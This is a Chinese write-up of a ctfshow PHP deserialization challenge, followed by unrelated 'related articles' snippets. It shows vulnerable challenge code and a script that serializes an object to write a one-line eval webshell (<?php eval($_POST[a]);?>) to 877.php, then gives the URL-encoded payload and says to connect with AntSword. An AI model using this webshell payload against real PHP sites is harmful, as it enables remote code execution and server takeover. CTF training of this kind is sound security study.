反序列化提升刷题(2)

今天的例题:
<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleed$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);

还是那个熟悉的五步法:五步法带你搞定反序列化难题-CSDN博客,如果没有学过这个专门应对反序列化难题的方法可以看看我的上一篇文章,既然有了方法,那就得不断训练提升。

第一步:1..先看哪个对象下面的函数和属性能够帮我执行恶意代码

答: eval($this->code);

第二步:我能控制的是啥?

unserialize($_GET['vip']);

第三步:正常情况下这段代码会怎么运行?

首先是反序列化vip,然后反序列化之前会触发wakeup()——魔术方法,接下来反序列化后又会触发destruct()——魔术方法,然后勒,就结束了。

第四步:要执行恶意代码,该怎么做?(即为通过我所能控制的东西,如何才能执行恶意代码?)

这里要从后往前推导,

我必须要 eval($this->code);所以必须执行

 public function __invoke(){
        eval($this->code);
    }

invoke魔术方法对吧

问:怎么执行invoke()——魔术方法?

答:把对象当成函数调用。

问:如何把对象当成函数调用?

答:找找有没有return fuction之类的,看看,在哪里突破,这里我找了一会,发现了不对劲,找不到,线索断了。接下来怎么办?肯定是你前面错了。我会去又重新审视了下代码,发现前面步骤错了一个,导致后面都错了。

根据yink12138师傅的说法,

1.当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize

2.__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组
 

换句话来说根本就不可能执行eval(),因为invoke()——魔术方法根本不可能触发。

那就又回到了第一步,从哪里执行恶意代码?

我重新进行了一遍代码审计,发现了端倪

__destruct()方法中的file_put_contents()函数只有这个突破点了。

为了防止各位能够更好明白这个函数,举个例子:

功能:
将数据写入文件:

<?php
echo file_put_contents("test.txt","Hello World. Testing!");
?>


上面代码的输出将是:

21

Hello World. Testing!因为这个是21个长度,就是往test.txt里面写入的。

那么如果我能够写入的话,我第一想法是一句话木马,然后蚁剑连接。好,思路完成。

 public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
我们主要看这个地方

0x36d是877(十进制)的十六进制

在__unserialize()中,会将username和password拼接起来赋值给$code,

第五步:开始注释代码修改原代码

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u='877.php',$p='<?php eval($_POST[a]);?>'){
        $this->username=$u;
        $this->password=$p;
    }

}
echo urlencode(serialize(new ctfshowvip()))
?>
 

运行结果:

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D

payload:

?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D

再访问877.php,接下来连接蚁剑就好

这flag居然没有放在www根目录,真的让我好找。

,真诚希望我的文章能够帮助大家,谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/418263.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springboot109新闻稿件管理系统

简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的新闻稿件管理系统 适用于计算机类毕业设计&#xff0c;课程设计参考与学习用途。仅供学习参考&#xff0c; 不得用于商业或者非法用途&#xff0c;否则&#xff0c;一切后果请用户自负。 看运行截图看 第五章 第四章 获…

揭秘:Java、Spring Boot、Vue 和 MySQL 在学生信息管理系统中的应用

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

基于JavaWeb+SSM+Vue智能社区服务小程序系统的设计和实现

基于JavaWebSSMVue智能社区服务小程序系统的设计和实现 滑到文末获取源码Lun文目录前言主要技术系统设计功能截图订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 滑到文末获取源码 Lun文目录 目录 1系统概述 1 1.1 研究背景 1 1.2研究目的 1 1.3系统设计思想 1 2相…

如何有效防爬虫?一文讲解反爬虫策略

企业拥抱数字化技术的过程中&#xff0c;网络犯罪分子的“战术”也更难以觉察&#xff0c;并且这些攻击越来越自动化和复杂&#xff0c;也更加难以觉察。在众多攻击手段中&#xff0c;网络爬虫是企业面临的主要安全挑战。恶意爬虫活动可能导致数据滥用、盗窃商业机密等问题&…

虚拟机安装宝塔的坑

问题&#xff1a; 在虚拟机中centos7和centos8中安装宝塔之后&#xff0c;无法访问面板。 解决&#xff1a; 1.先关闭防火墙&#xff08;如果本机能够ping通相关端口&#xff0c;则不用关闭防火墙&#xff09; 2.最新的宝塔会自动开启ssl协议&#xff0c;需要手动关闭。…

Spark流式读取文件数据

流式读取文件数据 from pyspark.sql import SparkSession ss SparkSession.builder.getOrCreate() # todo 注意1&#xff1a;流式读取目录下的文件 --》一定一定要是目录&#xff0c;不是具体的文件&#xff0c;# 目录下产生新文件会进行读取# todo 注意点2&#xff1…

Dicom标准里的 RescaleType

DCM_RescaleType 0x0028, 0x1054 这个 HU 和 us 是代表什么含义 之前去一个公司面试&#xff0c;问我&#xff0c; MR里灰阶是什么 CT里才叫CT值&#xff0c; MR里叫什么呢&#xff1f; DICOMLookup

linux perf工具使用

参考文章Linux性能调优之perf使用方法_perf交叉编译-CSDN博客 perf是一款Linux性能分析工具。比如打流性能优化的时候&#xff0c;就能够看到是哪些函数消耗的cpu高 那么linux如何编译perf工具呢&#xff1f; perf工具编译 进入perf目录下linux-3.16/tools/perf make ARCH…

【日常聊聊】自然语言处理的发展

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a; 日常聊聊 ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 技术进步 应用场景 挑战与前景 伦理和社会影响 实践经验 结语 我的其他博客 前言 自然语言处理&#xff08;NLP&#xf…

【Rust学习】安装Rust环境

本笔记为了记录学习Rust过程&#xff0c;内容如有错误请大佬指教 使用IDE&#xff1a;vs code 参考教程&#xff1a;菜鸟教程链接: 菜鸟教程链接: Rust学习 Rust入门安装Rust编译环境Rust 编译工具 构建Rust 工程目录 Rust入门 安装Rust编译环境 因为我已经安装过VSCode了&am…

使用多GPU训练

目录 一、常见的多GPU训练方法 1、问题拆分 2、数据并行 二、代码实现 1、实现ResNet-18网络 2、网络初始化 3、训练 三、总结 一、常见的多GPU训练方法 1、问题拆分 假设我们有多个GPU。我们希望以一种方式对训练进行拆分&#xff0c;为实现良好的加速比&#xff0c;还…

TS报错:未使用的局部变量

1.问题 2&#xff0c;解决 2.1可以根据快速修复&#xff0c;进行修改 2.2也可以去到TS的配置文件&#xff0c;找到如下&#xff0c;改成false即可 // 报告未使用的局部变量 "noUnusedLocals": true, // 报告未使用的函数参数 "noUnusedParameters": true,…